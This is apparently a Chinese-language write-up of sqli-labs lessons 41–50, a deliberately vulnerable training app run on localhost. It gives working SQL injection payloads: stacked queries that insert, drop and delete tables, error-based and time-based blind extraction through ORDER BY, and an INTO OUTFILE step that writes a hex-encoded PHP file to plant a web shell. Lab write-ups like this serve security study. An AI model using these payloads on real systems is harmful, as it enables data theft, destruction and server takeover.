点击打开链接
Less-41 基于错误的POST型单引号字符型注入
①先打开网页查看 Welcome Dhakkan
与之前讲的Less-40的区别:
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
当然,和Less-40一样,都是盲注,不会显示错误信息,不过对我们没差,构建payload:
- http://localhost/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(15,'jack','jack')%23
Less-42
①先打开网页查看 Welcome Dhakkan
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
分析源码login.php可以知道:
- $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
- $password = $_POST["login_password"];
password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:
- a';create table jack like users#
Less-43
与Less-42的区别在于:
- $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
payload:
- username:admin
- password:a');drop table jack#
Less-44
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload:
- username:admin
- password:a';insert into users(id,username,password) values('15','jack','jack')#
Less-45
与Less-43关的区别在于并没有报错信息,也就是基于盲注,payload:
- username:admin
- password:a');delete from users where id=15#
Less-46
①先打开网页查看 Welcome Dhakkan
②查看源代码:
-
-
-
-
- ORDER BY-Error-Numeric
-
-
-
Welcome
Dhakkan
-
-
- include("../sql-connections/sql-connect.php");
- $id=$_GET['sort'];
- if(isset($id))
- {
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'SORT:'.$id."\n");
- fclose($fp);
-
- $sql = "SELECT * FROM users ORDER BY $id";
- $result = mysql_query($sql);
- if ($result)
- {
- ?>
-
-
-
-
-
-
ID |
-
USERNAME |
-
PASSWORD |
-
-
-
-
- while ($row = mysql_fetch_assoc($result))
- {
- echo '';
- echo "
";
- echo "
".$row['id']." | ";
- echo "
".$row['username']." | ";
- echo "
".$row['password']." | ";
- echo "
";
- echo "";
- }
- echo "
";
-
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else
- {
- echo "Please input parameter as SORT with numeric value
";
- echo "
";
- echo '
';
- echo "Lesson Concept and code Idea by D4rk";
- }
- ?>
-
-
-
-
-
-
-
(本关以下纯属复制粘贴,毕竟道理都一样)
这里涉及到order by注入的相关知识,sql语句为:
- $sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档
我们可利用order by后的一些参数进行注入。首先,
(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
- http://localhost/sqli-labs-master/Less-46/?sort=right(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入例子
- http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) limit 0,1)
- http://localhost/sqli-labs-master/Less-46/?sort=(rand(ascii(left(database(),1)))=115)
从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子
- http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb)
- http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。
同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。
1、procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
以下为示范例
- http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
2、导入导出文件into outfile参数
- http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/data.txt"
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)
Less-47
与上一关的区别在于:
- $sql = "SELECT * FROM users ORDER BY '$id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
1、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① and rand相结合的方式,payload:
- http://localhost/sqli-labs-master/Less-47/?sort=1' and rand(ascii(left(database(),1))=116)--+
此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。
②可以利用报错的方式进行
- http://localhost/sqli-labs-master/Less-47/?sort=1' and (select count(*) from information_schema.columns group by concat(0x3e,0x3e,(select database()),0x3e,0x3e,floor(rand()*2)) limit 0,1)--+
这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。
- http://localhost/sqli-labs-master/Less-47/?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
③延时注入
- http://localhost/sqli-labs-master/Less-47/?sort=1' and (if(ascii(substr(database(),1,1))=116,0,sleep(5)))--+
这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。
2、导入导出文件into outfile参数
- http://localhost/sqli-labs-master/Less-47/?sort=1' into outfile "c:/data.txt"--+
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:/1.txt lines terminated by 0x(网马进行16进制转换)
- http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/..../data.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
此处的16进制文件为
我们访问data.php
Less-48
这关与Less-46的区别在于没有报错信息,即盲注,payload:
- http://localhost/sqli-labs-master/Less-48/?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))
本关我们依旧可以用into outfile进行。
Less-49
这关与Less-47的区别在于没有报错信息,即盲注,payload:
- http://localhost/sqli-labs-master/Less-49/?sort=1' and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+
Less-50
从本关开始我们开始进行order by stacked injection!
执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下stacked injection。
我们直接构造payload:
- http://localhost/sqli-labs-master/Less-50/?sort=1;create table jack like users#
前面我们已经详述stacked injection的过程,这里就不详细讲解了.